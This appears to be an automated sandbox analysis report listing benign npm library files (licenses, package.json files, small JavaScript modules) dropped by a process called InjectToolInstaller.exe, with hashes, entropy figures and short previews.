SSDEEP:	3:qcrup9APaq4+4LMOQaQ0BbfTaWI8Q+vuPXOJwETgCIfFB5UQ6MmK:qccrMOQYBfaWQKUCIfR3
MD5:	C531B798CD6E164EF37A3585E8FC4034
SHA1:	698D5FBA073BDF54B7895C3FFE91F1B142A0D795
SHA-256:	8F3C7E1002F2161E6D8F5900C73CF2E5AA82B4A1028BB0A96E201FF3DB6E355B
SHA-512:	569BE977DA9D4789BA0989360D397CF2B3EC439829D317148E15194A3BF8C063F0D6F26338B067847F9BCFB7EFA47D47937F29755CFC9325C9A15B3A748FFBCE
Malicious:	false
Preview:	var path = require('path')..var uniqueSlug = require('unique-slug')..module.exports = function (filepath, prefix, uniq) {. return path.join(filepath, (prefix ? prefix + '-' : '') + uniqueSlug(uniq)).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-filename\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	4.741993979008989
Encrypted:	false
SSDEEP:	24:z214VTXKFw1ehPFDR6UwBol8LIFhiL6geJo631OzYr:z64JXF1ehPxRdwBol8sPmjefFSe
MD5:	DAE6118CB72A98FB290249B1F435875A
SHA1:	E2599DD453681C99D7D99EF2980ABC2E142E6574
SHA-256:	3268C5835D57593B828149960A298BC19608C947AE5694C964656443A6D5A7E6
SHA-512:	70E01015AF4F7A7D7F3D59784C7A785BC7C7AE6C5A0691F210C76E9D6375F8D5A59F17BDA9C89B597AC01F123009261C79C99C1C037E49EB360EC1E857437A69
Malicious:	false
Preview:	{. "name": "unique-filename",. "version": "3.0.0",. "description": "Generate a unique filename for use in temporary directories or caches.",. "main": "lib/index.js",. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/unique-filename.git". },. "keywords": [],. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/iarna/unique-filename/issues". },. "homepage": "https://github.com/iarna/unique-filename",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.5.1",. "tap": "^16.3.0". },. "dependencies": {. "unique-slug": "^4.0.0". },. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=1

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-slug\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	734
Entropy (8bit):	4.956098341925745
Encrypted:	false
SSDEEP:	12:9FMoS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3ew:9sICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	2764032ECD89F3BAFB0A1A35F966F9E8
SHA1:	9D4786BBE2816E6C0CBF474F9F63946076D745B7
SHA-256:	8E8B31DD3582EB47F1B28BD6F009B54CD926ADB9431E8424DB7C2EAE7C4AF437
SHA-512:	F2F05C2629E48A8348FFA9773240DA60E1840FC9BB9940596C7DC7D57570D188E1E2A1A78C366F4B0D7FE01B16444E220EEBE79AC67C51DD2F9D7171D072B53C
Malicious:	false
Preview:	The ISC License..Copyright npm, Inc..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-slug\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	286
Entropy (8bit):	4.752448544643824
Encrypted:	false
SSDEEP:	6:QrhHC9BdUEtQWz/WRc63IjzRMTIZLFc4K:8C9Bk+/WRv3iRMTIZw
MD5:	4506355A9E8656723E594E0D0CCC0D59
SHA1:	4BF456CC26CBB28CEEC09313A3F23B961729C831
SHA-256:	D070132AF11F52D51935AF8BAAAC90D8BA6ED27253613D7E7C359DA5DB3DF86B
SHA-512:	C6EDED109D16054D3FC50FDA2DEC8968E5A3CA91798625D1C7F66BB255F96D7F2CF17C0B0330EEBB93A24928A8DE4A39985032347F1143E86A4FC90952145D86
Malicious:	false
Preview:	'use strict'.var MurmurHash3 = require('imurmurhash')..module.exports = function (uniq) {. if (uniq) {. var hash = new MurmurHash3(uniq). return ('00000000' + hash.result().toString(16)).slice(-8). } else {. return (Math.random().toString(16) + '0000000').slice(2, 10). }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\unique-slug\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.735367898601344
Encrypted:	false
SSDEEP:	24:o115VTpiYKFw1ehPFAUC8LIF5di8UHDgeJo631OzYr:of5JpiYF1ehPVC8sTd/fefFSe
MD5:	096247B9BCFEB3B783B32D7DF25B2D1B
SHA1:	13C6ED61484038DFE2622B4FA2D18029842299A4
SHA-256:	29E5D069FD83C5E4274EA04F3880A0251974963067C2D091EDA7FD02EA3F8FCF
SHA-512:	BD6BB4AD197FA9BE35880794DA7A053A7956778FC7B2CD844AE04A7BF29B1FFAFA490354363157AF8BAB2280BA3A8BF3DB034C8871C0FDE05655E3F9CFC95743
Malicious:	false
Preview:	{. "name": "unique-slug",. "version": "4.0.0",. "description": "Generate a unique character string suitible for use in files and URLs.",. "main": "lib/index.js",. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "keywords": [],. "author": "GitHub Inc.",. "license": "ISC",. "devDependencies": {. "@npmcli/eslint-config": "^3.1.0",. "@npmcli/template-oss": "4.5.1",. "tap": "^16.3.0". },. "repository": {. "type": "git",. "url": "https://github.com/npm/unique-slug.git". },. "dependencies": {. "imurmurhash": "^0.1.4". },. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten."

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\util-deprecate\History.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.641931819425388
Encrypted:	false
SSDEEP:	6:a4MSWww+aE7DJCk6bW0SNKpSgYcPrIsoW2nw2IxRv:c8kEEk6bpsKpS28sUDGv
MD5:	F6F1EC92F3BC669B673402BDC5682948
SHA1:	1FC5B9CF603A0B6ABEB852B35BEC607A411E5B9B
SHA-256:	AB183FF93D075137547F9D96938185F2CD4B29BA1F4E28B29E6FBD573255968D
SHA-512:	4D44C77434C6F16230392550D0285C268FF93F515E642649FDF311579FC9141275F33A95B41B9397DFE98F9686570F2770BEA9B6718605F368A711BFEFA123DE
Malicious:	false
Preview:	.1.0.2 / 2015-10-07.==================.. * use try/catch when checking `localStorage` (#3, @kumavis)..1.0.1 / 2014-11-25.==================.. * browser: use `console.warn()` for deprecation calls. * browser: more jsdocs..1.0.0 / 2014-04-30.==================.. * initial commit.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\util-deprecate\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.125008882443131
Encrypted:	false
SSDEEP:	24:UiIB4J5X30yP1gtOHw1Gg9QH+sUu8Ok4F+dxoBoqMSPz:hIiJ5HlP1E9ICQH+szIt6BoE7
MD5:	B7C99EF4B0F3AD9911A52219947F8CF0
SHA1:	CBDE92577CB69B3B45DD33F8DC600732CF9E14CB
SHA-256:	0154425673DB15CDFA80ECBA2C9B1F1A867F7197A006764712849BFC3A93CBB7
SHA-512:	84496B792AA1808467A811F1B4F585FBBD22BFEDFF824F6E2D31D47428E7724305EDCEFEC068AE1616145CFE6B5AEA5EA5DE9B18AD8C2145B9BB6698D9C55746
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Nathan Rajlich <nathan@tootallnate.net>..Permission is hereby granted, free of charge, to any person.obtaining a copy of this software and associated documentation.files (the "Software"), to deal in the Software without.restriction, including without limitation the rights to use,.copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following.conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES.OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT.HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,.WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\util-deprecate\browser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	4.6549378782777575
Encrypted:	false
SSDEEP:	48:WfIiONMnT8SheHWlBZlQxIaX2eQ4BBXPy9wcj8f:WgqTTsWlBZCxVtQIVK9xj8f
MD5:	521E3C4A53C4265653C9F68EBD52F700
SHA1:	335965112D6117AF8926DCE4497A1FB9FCA022EB
SHA-256:	ABAEF53EBCDC98F3655331F834986A2D11B6A824F58D670369669246D1B7B69B
SHA-512:	646B092A66D77F69DA1E33BDC20F1037865A03368C7E8E83994DDC7E6CF8AC246772815A13D405A1151A55237212D081B96699A3890B4DF55507D2CC0C9763E1
Malicious:	false
Preview:	./*. Module exports.. /..module.exports = deprecate;../. Mark that a method should not be used.. * Returns a modified function which warns once by default.. . If `localStorage.noDeprecation = true` is set, then it is a no-op.. . If `localStorage.throwDeprecation = true` is set, then deprecated functions. * will throw an Error when invoked.. . If `localStorage.traceDeprecation = true` is set, then deprecated functions. * will invoke `console.trace()` instead of `console.error()`.. . @param {Function} fn - the function to deprecate. * @param {String} msg - the string to print to the console when `fn` is invoked. * @returns {Function} a new "deprecated" version of `fn`. * @api public. */..function deprecate (fn, msg) {. if (config('noDeprecation')) {. return fn;. }.. var warned = false;. function deprecated() {. if (!warned) {. if (config('throwDeprecation')) {. throw new Error(msg);. } else if (config('traceDeprecation')) {. console.t

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\util-deprecate\node.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	123
Entropy (8bit):	4.6131897670107564
Encrypted:	false
SSDEEP:	3:6F2VLuJ2cbAdStNDzFQYyQTyFHNyzBbJ4RIlTpvn:60VSJ2ck0DpQMyFtQBK6B
MD5:	0E28B0A11A7A2D9D18F33F2BFA67D380
SHA1:	26BB9FCABAF57F0BB50E5E026C13DE394BC0C478
SHA-256:	9A86A29FA34A99B861E707345FB1D1E2E55A6C23EDB8F992BED57CC607F42D8E
SHA-512:	E860D48CA4AE777D963AB666AAE99F3719BDF336BF218B282B76A2A0F0268CA6B7283BF8C825544A0ECFDBDBBFF3CEB7C98649D89F95665D3A5E2B2F6DAEDC0E
Malicious:	false
Preview:	./*. For Node.js, simply re-export the core `util.deprecate` function.. */..module.exports = require('util').deprecate;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\util-deprecate\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	4.7302518395074165
Encrypted:	false
SSDEEP:	12:qsvV18X3Do/hHHVgfhMnObmF2Jz4Ojons1ymd3PJz9FhJzo:F91YDo/hH0hMFKzDMs7d3Bz7zo
MD5:	73E6C3FF1709538C921D13A75CAE485D
SHA1:	2E69081E7BAB6E09D3DCFD680716FDEEA577431D
SHA-256:	7BBA467F049074957E693FC06672848B040C38FA071B6EED8690F5FBE090A8B2
SHA-512:	B7C2475CA4AEA834C9BF338D15CE9801B30A33046C68BE77F706F85953B27ACC1D4D22E9758FAD10B04AF26A2AF7808830C85748BF8B7DBCD5EC588C2C2910FE
Malicious:	false
Preview:	{. "name": "util-deprecate",. "version": "1.0.2",. "description": "The Node.js `util.deprecate()` function with browser support",. "main": "node.js",. "browser": "browser.js",. "scripts": {. "test": "echo \"Error: no test specified\" && exit 1". },. "repository": {. "type": "git",. "url": "git://github.com/TooTallNate/util-deprecate.git". },. "keywords": [. "util",. "deprecate",. "browserify",. "browser",. "node". ],. "author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",. "license": "MIT",. "bugs": {. "url": "https://github.com/TooTallNate/util-deprecate/issues". },. "homepage": "https://github.com/TooTallNate/util-deprecate".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-license\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-license\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1925
Entropy (8bit):	4.630140142632528
Encrypted:	false
SSDEEP:	48:4t32CIUjIpJlmbwt9ftg+QwKDpNav56D9EIjIh:4tGY0pJlmbkKlNa8zc
MD5:	1E06B285B931777CB00CCB15882E4083
SHA1:	F3B4C4411D93C2314997BCB06791FB22A39B0CE2
SHA-256:	BB81B15CCA6D4C7FBC3CBCC0C473359BDC257F772D5A836FC189027DE1ACDE67
SHA-512:	E8FB7F3B62A02180C66C1DEA74E2203E5D2DDE41934158B0D9CA7013934C0D3A1D4C49D1D7B7683AB026437EC3F6D396837B4A93336D17AD3E8B66F8D84BBB5A
Malicious:	false
Preview:	var parse = require('spdx-expression-parse');.var correct = require('spdx-correct');..var genericWarning = (. 'license should be ' +. 'a valid SPDX license expression (without "LicenseRef"), ' +. '"UNLICENSED", or ' +. '"SEE LICENSE IN <filename>"'.);..var fileReferenceRE = /^SEE LICEN[CS]E IN (.+)$/;..function startsWith(prefix, string) {. return string.slice(0, prefix.length) === prefix;.}..function usesLicenseRef(ast) {. if (ast.hasOwnProperty('license')) {. var license = ast.license;. return (. startsWith('LicenseRef', license) \|\|. startsWith('DocumentRef', license). );. } else {. return (. usesLicenseRef(ast.left) \|\|. usesLicenseRef(ast.right). );. }.}..module.exports = function(argument) {. var ast;.. try {. ast = parse(argument);. } catch (e) {. var match. if (. argument === 'UNLICENSED' \|\|. argument === 'UNLICENCED'. ) {. return {. validForOldPackages: true,. validForNewPackages: true,.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-license\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.805180819806277
Encrypted:	false
SSDEEP:	12:y937riMRvXzT1zsdgstxRV/Lj1IjIpVx108emOjbRT9qCQNsvTVj9dCpG:srrvR/zT1I5xXi0XkL5nndCpG
MD5:	E8168FA784142FE417F82359AEFFC444
SHA1:	A938B65349AED1EB3852D98DC1A8431209FAF99F
SHA-256:	E510BEBF52A39FF777C88C3494B0BBA688252B361EDF0774AEC2B7DD8BB1FDE4
SHA-512:	FC376388E7876D4BBBD6F3D7E003336C8258531583DE335693ED8EF8387C10046F02CB837BFA5B9FB3A81E464FA625E0CB3E01DC62BAC6E12F02144D84C41301
Malicious:	false
Preview:	{. "name": "validate-npm-package-license",. "description": "Give me a string and I'll tell you if it's a valid npm package license string",. "version": "3.0.4",. "author": "Kyle E. Mitchell <kyle@kemitchell.com> (https://kemitchell.com)",. "contributors": [. "Mark Stacey <markjstacey@gmail.com>". ],. "dependencies": {. "spdx-correct": "^3.0.0",. "spdx-expression-parse": "^3.0.0". },. "devDependencies": {. "defence-cli": "^2.0.1",. "replace-require-self": "^1.0.0". },. "keywords": [. "license",. "npm",. "package",. "validation". ],. "license": "Apache-2.0",. "repository": "kemitchell/validate-npm-package-license.js",. "scripts": {. "test": "defence README.md \| replace-require-self \| node". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-name\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (485)
Category:	dropped
Size (bytes):	728
Entropy (8bit):	4.9624830056999
Encrypted:	false
SSDEEP:	12:P8S4dCPXcbbmmgmq6KX9KsA83Xs1HUXA3+dPRz2AvPNT3khy2CgK2PF3ew:nICckmq6s9i4gAc2PRZAQwF3ew
MD5:	2C81FEDE4288971ECB9719722B894DB6
SHA1:	B850F0928EE250F0AD6CDA6A7D2CF70784FDEE6C
SHA-256:	F3E1645267F7DD77EE6545283CC1766E5883E8FB3B5088FE2CFB995DEFBB3DDE
SHA-512:	8005643408B047DC1D681AA01C0614E4D5A91189CB329D92AD2E081D97AC1D50EA1AD8F47C351FF9E62C86E07071E6834422FCF4288F8BDDD3CB3F117B0EE4A4
Malicious:	false
Preview:	Copyright (c) 2015, npm, Inc...Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-name\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2635
Entropy (8bit):	4.766187965165922
Encrypted:	false
SSDEEP:	48:a5ExBNAu9lpvzY/WcvxuFwjI5v8iHuKBUX+2nh6wHqtvUh:vxBNAu9lpvM/WauKjI2iHJBUrh6ih
MD5:	DFC06EFBC733FA926E6860B515E437DA
SHA1:	F484B42BBAE62DAE0C18EE96488A9AF79160DC02
SHA-256:	1D041180701D672D98AF1B5B1892D8D3B552146514192BAF0A944E256830EB9F
SHA-512:	6DB10BC433C36FE5948EEB98539CA9096B93FD0F0661AEC807F2B3004212EF22AE1DC35738A6CF384B0F815E879BDC5E0E71A8DE5B434CCE51F26B179DDA1DB6
Malicious:	false
Preview:	'use strict'..var scopedPackagePattern = new RegExp('^(?:@([^/]+?)[/])?([^/]+?)$').var builtins = require('builtins').var blacklist = [. 'node_modules',. 'favicon.ico',.]..function validate (name) {. var warnings = []. var errors = [].. if (name === null) {. errors.push('name cannot be null'). return done(warnings, errors). }.. if (name === undefined) {. errors.push('name cannot be undefined'). return done(warnings, errors). }.. if (typeof name !== 'string') {. errors.push('name must be a string'). return done(warnings, errors). }.. if (!name.length) {. errors.push('name length must be greater than zero'). }.. if (name.match(/^\./)) {. errors.push('name cannot start with a period'). }.. if (name.match(/^_/)) {. errors.push('name cannot start with an underscore'). }.. if (name.trim() !== name) {. errors.push('name cannot contain leading or trailing spaces'). }.. // No funny business. blacklist.forEach(function (blacklistedName) {. if

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\validate-npm-package-name\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	4.7606975944621945
Encrypted:	false
SSDEEP:	48:4CrrvR/z58s1GjsrF1ehPxz3Fwz4lefFY/e:VzRr58MGjsJ1eTLm2eie
MD5:	C118C51ACC2A14C62821FF32BCB82AF8
SHA1:	0C9A44461DA5954766CF8B795B4C55442216D69E
SHA-256:	434C70633552E484B78B5DA7CBE92DEEF647F911F81CA537343AC2584E8A0B79
SHA-512:	038602597A405BD98B0176F21B1FD55ADB70626595D21DE01CE66102E3A6C78F461344F9E4F01A73E8D57A1AFE8483ACEE145200374DCF2D3BC3CF0609D84FDD
Malicious:	false
Preview:	{. "name": "validate-npm-package-name",. "version": "5.0.0",. "description": "Give me a string and I'll tell you if it's a valid npm package name",. "main": "lib/",. "directories": {. "test": "test". },. "dependencies": {. "builtins": "^5.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^3.0.1",. "@npmcli/template-oss": "4.5.1",. "tap": "^16.0.1". },. "scripts": {. "cov:test": "TAP_FLAGS='--cov' npm run test:code",. "test:code": "tap ${TAP_FLAGS:-'--'} test/.js",. "test:style": "standard",. "test": "tap",. "lint": "eslint \"/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/validate-npm-package-name.git". },. "keywords": [. "npm",. "package",. "names",. "validation". ],. "author": "GitHub Inc.",. "lic

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.9874659390608365
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZFCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	90A3CA01A5EFED8B813A81C6C8FA2E63
SHA1:	515EC4469197395143DD4BFE9B1BC4E0D9B6B12A
SHA-256:	05DC4D785AC3A488676D3ED10E901B75AD89DAFCC63F8E66610FD4A39CC5C7E8
SHA-512:	C9D6162BEF9880A5AB6A5AFE96F3EC1BD9DEAD758CA427F9BA2E8E9D9ADAAF5649AAD942F698F39B7A9A437984F8DC09141F3834CD78B03104F81AD908D15B31
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\dist\cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	457
Entropy (8bit):	4.555808371417471
Encrypted:	false
SSDEEP:	6:VTErcSNyIJf4K3sXV4keIliwfA5+NZCNbZtc0u8nbG4eHqbwBIJfgbCO:BETNy0fHVrl48ZNDbGTHqEB0fgV
MD5:	1D0AE42749DE9333230F8B291A10126F
SHA1:	648BCF4CFDACBB1FDD5CA942DC295F4D3A23E418
SHA-256:	538108698AF3D815AEEA020AE4AAB322C5DDEA0735ED87F64AC3A0825A1CC085
SHA-512:	F34963FF1C3160B3F26E6581EAB7534F71AEFB73B7653A0D139C7BA0744B24CED7E2F5375180389347DE30CF1A5EEEE5AB14B78CBEA3E88DA20530B163206C63
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.walkUp = void 0;.const path_1 = require("path");.const walkUp = function* (path) {. for (path = (0, path_1.resolve)(path); path;) {. yield path;. const pp = (0, path_1.dirname)(path);. if (pp === path) {. break;. }. else {. path = pp;. }. }.};.exports.walkUp = walkUp;.//# sourceMappingURL=index.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\dist\cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.783465189601646
Encrypted:	false
SSDEEP:	3:f8fkEKLSYv:fUKLSC
MD5:	DF9FFC6AA3F78A5491736D441C4258A8
SHA1:	9D0D83AE5D399D96B36D228E614A575FC209D488
SHA-256:	8005A3491DB7D92F36AC66369861589F9C47123D3A7C71E643FC2C06168CD45A
SHA-512:	6C58939DA58F9B716293A8328F7A3649B6E242BF235FAE00055A0CC79FB2788E4A99DFAA422E0CFADBE84E0D5E33B836F68627E6A409654877EDC443B94D04C4
Malicious:	false
Preview:	{. "type": "commonjs".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\dist\mjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	4.112389760085443
Encrypted:	false
SSDEEP:	6:KUgeI/Qy8KWcV4keIC15+NZCN1PBc0u8nbG4eHqbwCCO:vfI/toOoDbGTHqEE
MD5:	A7F37FB6167E7C098465325839C386D2
SHA1:	FF77EEA0EC82E703E20545C112A17DA49D937410
SHA-256:	149660D28B901E6D624EA86C6C7C3E5F592FB94436438F316A6A17128DEB4BB5
SHA-512:	8A2CE00CB5D4E56CF896317AB7CED1E96CA0CB5D85C8DC0298AA1E2C601FC7C5497846298891E4699111CFD1213F6A00439BB7B399B3864E810FAC9F1D89F49C
Malicious:	false
Preview:	import { dirname, resolve } from 'path';.export const walkUp = function* (path) {. for (path = resolve(path); path;) {. yield path;. const pp = dirname(path);. if (pp === path) {. break;. }. else {. path = pp;. }. }.};.//# sourceMappingURL=index.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\dist\mjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.675310868912364
Encrypted:	false
SSDEEP:	3:f8fqKBYn:f4Yn
MD5:	D0707362E90F00EDD12435E9D3B9D71C
SHA1:	50FAEB965B15DFC6854CB1235B06DBB5E79148D2
SHA-256:	3CA9D4AFD21425087CF31893B8F9F63C81B0B8408DB5E343CA76E5F8AA26AB9A
SHA-512:	9D323420CC63C6BEE79DCC5DB5F0F18F6B8E073DAAF8FFA5459E11F2DE59A9F5E8C178D77FA92AFC9DDD352623DEC362C62FFF859C71A2FAB93F1E2172C4987F
Malicious:	false
Preview:	{. "type": "module".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\walk-up-path\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1844
Entropy (8bit):	4.65711050732574
Encrypted:	false
SSDEEP:	48:Ui7g44XJ4mLRvyyh94O4l7n/FQEjocVf/YPFDW2g1WI:ztoJXtJsl7P5Ug1t
